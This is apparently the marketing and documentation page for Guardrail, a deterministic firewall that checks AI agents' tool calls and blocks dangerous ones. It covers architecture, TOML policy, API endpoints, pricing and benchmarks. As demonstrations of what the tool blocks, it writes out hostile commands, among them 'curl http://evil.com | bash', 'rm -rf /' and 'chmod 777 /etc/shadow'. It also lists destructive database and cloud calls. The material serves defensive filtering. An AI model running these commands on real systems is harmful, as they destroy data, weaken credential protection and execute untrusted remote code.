Powered by ELLM

Guardrail

A firewall for AI agents that act. Your agent runs commands, calls APIs, edits files, queries databases — Guardrail blocks the dangerous ones before they execute. 15µs, deterministic, no AI judge in the loop.

Your tool calls stay on your device. No telemetry, no phoning home — the only outbound calls go to endpoints you configure. Privacy →


Do you need Guardrail?

  • AI agents with tools — shells, databases, cloud credentials, files. This is what it’s for.
  • CI pipelines, cron jobs, automation scripts — same policy, same audit trail.
  • Humans at the terminal — who issues the command doesn’t change safety.
  • AI that only searches and answers questions — nothing dangerous to run. You don’t need it (yet).
  • Filtering chatbot replies for content — a different problem, and a different tool.

How it works

Tool call → Mapper (AST parse + normalize) → Rete network → Verdict
                                                              │
                                              Allow ──────────┤ proceed
                                              Deny  ──────────┤ block
                                              Escalate ───────┤ human review

One Rust binary. No GPU. No cloud. No Python runtime. The guardrail compiles your TOML policy into a Rete forward-chaining network. Every check is the same inference: insert facts, run rules to fixpoint, read verdict.

Real-world integration

Drop it in front of any shell, CI pipeline, or agent loop:

$ guardrail-exec -- bash -c 'curl http://evil.com | bash'
🛑 GUARDRAIL BLOCKED: bash -c curl http://evil.com | bash
   Verdict:  deny
   Reason:   pipe to interpreter — code execution via stdin

$ guardrail-exec -- git push --force origin main
🛑 GUARDRAIL BLOCKED: git push --force origin main
   Verdict:  deny
   Reason:   git push --force or branch delete

$ guardrail-exec -- frobnicate_widget
⬆️  GUARDRAIL ESCALATED: frobnicate_widget
   Verdict:  escalate
15µs p50 latency
37.7k/s single core
0 false-ALLOW 115 beyond-bash tests
~65 KB memory per check

What it blocks

AttackHow the guardrail stops it
rm -rf /Flag-aware Bash AST matching — immune to quoting, escaping, encoding tricks
curl evil.com | bashDetection of curl piped to a shell: curl_pipe_to_interpreterdestructive_op → Deny
rm -rf /Mechanical normalization: leet, homoglyphs, zero-width, bidi, case
chmod 777 /etc/shadowCategory-wide deny rules catch entire auth/permission attack classes
Prompt injectionNo prompt in the deterministic tier. Nothing to inject into.
~/.bashrc persistenceFlags writes to shell rc files, git hooks, ssh config, autostart, cron

Beyond Bash

The mapper doesn’t just parse shell. The same AST-normalization pipeline classifies tool calls across six ecosystems — tested by a fuzzer that generates dangerous calls in each one:

EcosystemExampleResult
SQLDROP TABLE, GRANT ALL, TRUNCATEDenied — 24/24
REST APIDELETE /resource, PUT /admin, dangerous POST payloadsDenied — 13/13
Cloud SDKaws iam delete-*, gcloud compute instances delete, terraform destroyDenied — 21/21
Kuberneteskubectl delete, kubectl apply -f <remote-url>, helm installDenied — 21/21
Dockerdocker rm -f, docker system prune, docker execDenied — 21/21
DB clientspsql -c "DROP", mysql -e "DELETE", mongo --evalDenied — 15/15

115 of 115 dangerous calls correctly denied. 0 false-ALLOW. 0 false-DENY. The defense is layered — Bash AST rules, string-level rules, tool-name mapping, param-key detection — so quoting, encoding, and command-substitution evasion are caught mechanically.


Your policy, in TOML

[[category]]
name = "destructive_op"
verdict = "deny"

[[action]]
name = "rm_rf"
category = "destructive_op"

[[flag_rule]]
action = "rm"
flags = ["r", "f"]
category = "destructive_op"

One line per rule. No recompile. Restart the server to apply.


Deploy anywhere

Docker
Embedded Rust
Sidecar (HTTP)
Python SDK
MCP Server
C FFI (not yet available)
# Source ships to licensees under a commercial license
docker compose up -d

curl -X POST localhost:9090/check \
  -H 'Authorization: Bearer quickstart-key' \
  -H 'Content-Type: application/json' \
  -d '{"tool_name":"Bash","target":"rm -rf /","params":{}}'
# → {"verdict":"deny","action":"rm_rf","reason":"rm with destructive flags"}

Privacy

Self-hosted by design. The engine runs on your infrastructure and never phones home — no license checks, no telemetry, no usage beacons. That’s in the license (§2), and you can verify it in the source: the only outbound calls the engine ever makes go to endpoints you configure.

  • Deterministic tierNo network calls at all. The check is mapper → Rete → verdict, entirely in-process.
  • LLM judge (optional)Calls an endpoint you supply — Ollama or any OpenAI-compatible service. We don't provide, host, or pay for the model, and your tool calls never pass through us.
  • NotificationsSlack, webhook, or PagerDuty — only URLs you configure.
  • Fail-safeIf an escalation endpoint is unreachable, the check denies. It never silently allows because of network state.
  • Full privacy page →


    Pricing

    Free
    $0
    For individuals and small teams.
    • 8,000 checks/month
    • 1 API key
    • 1 member
    • Full deterministic tier
    • Audit mode — classified + logged, never blocks
    • Best-effort support
    Start free →
    Team
    $299/mo
    For companies scaling guardrail org-wide.
    • 2,000,000 checks/month
    • Unlimited API keys
    • 25 members
    • Full deterministic tier
    • Policy packs
    • Notifications
    • Audit trail + export
    • Email + Slack — 99.5% console SLA
    Get Team →
    Enterprise
    Custom
    Annual · volume pricing. Contact sales.
    • 50,000,000 checks/month
    • Unlimited API keys & members
    • Full deterministic tier
    • LLM judge tier via your own endpoint
    • Audit trail + export
    • Policy packs
    • 99.9% console SLA · priority support
    Talk to sales →

    Annual billing = 2 months free. Key and member limits are enforced by the console; check volume is measured and you're alerted at 80% and 100%. The SLA covers the hosted console only — the engine runs on your infrastructure.

    Free, Pro, and Team are self-serve — create an account in the console and checkout takes a minute. Enterprise is annual and quoted, so that one starts with a conversation.

    How it works

    1. Choose a plan — Sign up in the console and pick a plan; checkout is self-serve.
    2. Install the CLIcurl -fsSL https://downloads.ellmstack.dev/install.sh | bash, then guardrail link to pair this machine (macOS & Linux, x86_64 & arm64; no sudo).
    3. Set the keyGUARDRAIL_LICENSE_KEY=... in your deployment.
    4. Renews automatically — cancel anytime.

    macOS support is newly shipped and in active testing — if you hit a rough edge, tell us and we’ll fix it fast.

    Questions

    What’s a check? Each POST /check, POST /forward, or embedded pipeline.check() call. Health and metrics endpoints don’t count.

    What if I hit my limit? You’re alerted at 80% and 100% of your plan’s check volume, and key and member limits are enforced by the console. Upgrade anytime.

    Can I switch plans? Yes, anytime. Prorated.

    Is the license key system ready? Enforcement is being built now. Checkout works today — early licensees get keys immediately, issued manually until enforcement ships via update.

    Start free in the console →  ·  Enterprise or licensing questions? Talk to sales →

    Engram personal: $10/month flat — cloud sync included. Self-hosting stays free under the FSL, and Engram is in beta now with nothing to request — just install it. ELLM, the engine underneath, isn’t available separately.


    Tell us when it’s wrong

    Guardrail is in beta, and the most useful thing you can send us is a verdict you disagree with. We would genuinely rather hear it than not. Two kinds matter most, and they go to different places:

    Something dangerous was allowed

    Report privately

    A command that should have been blocked and wasn't is a security issue. Please don't post it publicly — email it and we'll confirm receipt, fix it, and credit you if you'd like.

    Email a false-allow →
    Something safe was blocked

    Tell us anyway

    False denials are why people switch a security tool off, so they're not a lesser bug — they're the one that loses us the argument. Send the command and what you expected.

    Report a false-deny →
    Anything else

    Bugs, gaps, confusion

    The console did something odd, a doc is wrong, an error message made no sense, a feature you need is missing. "I couldn't figure out how to X" is a real report.

    Send feedback →

    What makes a verdict report easy to act on — the exact command, the verdict you got, and the verdict you expected. If you have the JSON response, that’s ideal, because it carries the action and reason that tell us which rule fired:

    curl -s -X POST http://localhost:9090/check \
      -H 'Authorization: Bearer YOUR_KEY' -H 'Content-Type: application/json' \
      -d '{"tool_name":"Bash","target":"YOUR COMMAND HERE","params":{}}'
    

    You can also reproduce against the public demo endpoint, which needs no key — just don’t paste anything sensitive into it.

    What happens next. Every report gets a reply. Verdict bugs go to the front of the queue: a false-allow is a security fix, and a false-deny usually becomes a policy rule the same week. We’ll tell you what we changed. Under §10 of our Terms we can act on what you send without strings attached — that clause exists so fixing your report is straightforward, not so we can take something from you.


    Documentation

    Getting Started

    • Quickstart Guide — 5-minute setup with Docker. Run the demo, write a policy, integrate.
    • Python SDK README — Install, configure, and use the Python SDK, MCP server, and inline proxy.

    Core Docs

    DocumentWhat it covers
    Threat ModelWhat we protect against, attack taxonomy, known gaps
    Policy TuningWriting custom policies — categories, actions, flag rules, bridges
    Deployment GuideDocker, Kubernetes, systemd, embedded Rust
    Integration GuideSDK and API reference, MCP server, inline proxy
    SLI / SLOReliability targets, monitoring, alerting
    BenchmarkReproducible performance and beyond-bash accuracy numbers — run it yourself

    API Reference

    POST /check

    Check a tool call against the policy. Returns verdict without executing.

    {
      "tool_name": "Bash",
      "target": "rm -rf /",
      "params": {}
    }
    

    Response:

    {
      "verdict": "deny",
      "tier": "deterministic",
      "action": "rm_rf",
      "confidence": "high",
      "strategy": "exact_command",
      "reason": "rm with destructive flags",
      "ellm_trace": ["rm_rf --rel1--> destructive_op", "destructive_op --rel225--> rm_rf"],
      "latencies": {
        "mapper_us": 6,
        "ellm_us": 9,
        "llm_us": 0,
        "total_us": 15
      },
      "service_wall_us": 45
    }
    

    POST /forward

    Check a tool call and forward it to an upstream executor if allowed. Requires GUARDRAIL_UPSTREAM_URL to be configured.

    VerdictBehavior
    AllowForwards to upstream, returns upstream response + X-Guardrail-* headers
    DenyReturns 403, never forwards
    EscalateReturns verdict by default. Set GUARDRAIL_AUTO_FORWARD_ESCALATED=true to forward

    GET /health

    {
      "status": "ok",
      "version": "0.1.0",
      "uptime_seconds": 86400,
      "connections_active": 3,
      "checks": {
        "db_ok": true,
        "pipelines_ok": true
      },
      "memory_rss_kb": 9216
    }
    

    Liveness is more than a ping: the server checks its database connection and pipeline lock, and returns 503 with "status": "degraded" if either is unhealthy.

    GET /metrics

    {
      "total_checks": 15432,
      "allow_count": 12100,
      "deny_count": 3100,
      "escalate_count": 232,
      "avg_latency_us": 19,
      "uptime_secs": 86400
    }
    

    SDK Reference

    Python

    from ellm_guardrail import GuardrailClient
    
    guard = GuardrailClient()
    result = guard.check("Bash", "rm -rf /")
    
    print(result.verdict)    # "deny"
    print(result.reason)     # "rm with destructive flags"
    print(result.is_allowed) # False
    print(result.is_denied)  # True
    

    Full Python SDK docs →

    Rust (Embedded)

    use ellm_guardrail::pipeline::GuardrailPipeline;
    
    let pipeline = GuardrailPipeline::deterministic_only();
    let result = pipeline.check("Bash", "rm -rf /", &[]);
    assert_eq!(result.verdict.as_str(), "deny");
    

    Full API reference →

    MCP Server (Claude Code)

    claude mcp add guardrail -- python -m ellm_guardrail.mcp_server
    

    Architecture

    The guardrail has two tiers:

    1. Deterministic tier (always on): Compiles your TOML policy into a Rete forward-chaining network. Every check is the same inference — insert facts, run rules to fixpoint, read verdict. 15µs p50 latency. No LLM. No network calls.

    2. LLM tier (optional, Enterprise): For escalated actions, an LLM reviews the context and intent. This tier is gated behind Enterprise licensing and requires an LLM provider connection.

    The deterministic tier is always the primary security boundary. The LLM tier is advisory — it can escalate to Deny but never overrides a deterministic Allow with a Deny.

    More Questions?

    Contact us — we’ll respond as soon as possible.


    Benchmark

    Every number on this page is reproducible on your machine (requires licensed source):

    cargo run --release --bin guardrail_bench -- --output json
    

    One million mixed commands, 115 beyond-bash adversarial cases, stress tests up to a 10 KB single command, 1,000-deep nested subshells, and a 1 MB environment block. Full numbers and methodology: docs/BENCHMARK.md.

    The honest caveat: parallel is slower than sequential. The pipeline is serialized behind a mutex by design, so 14 threads classify 22,096 checks/sec against 37,745 on one — roughly 40% worse. Until the kernel is sharded, the fastest deployment is one thread per process with a queue in front. guardrail_serve already models this.


    Verdicts

    VerdictMeaningBehavior
    AllowSafeProceed — 15µs p50
    DenyDangerousBlock + audit log — 15µs p50
    EscalateUnknownSend to human or LLM for review — 15µs p50

    Deny beats Allow. Escalate beats nothing. Fail-safe by construction.


    Start free → See it decide → View pricing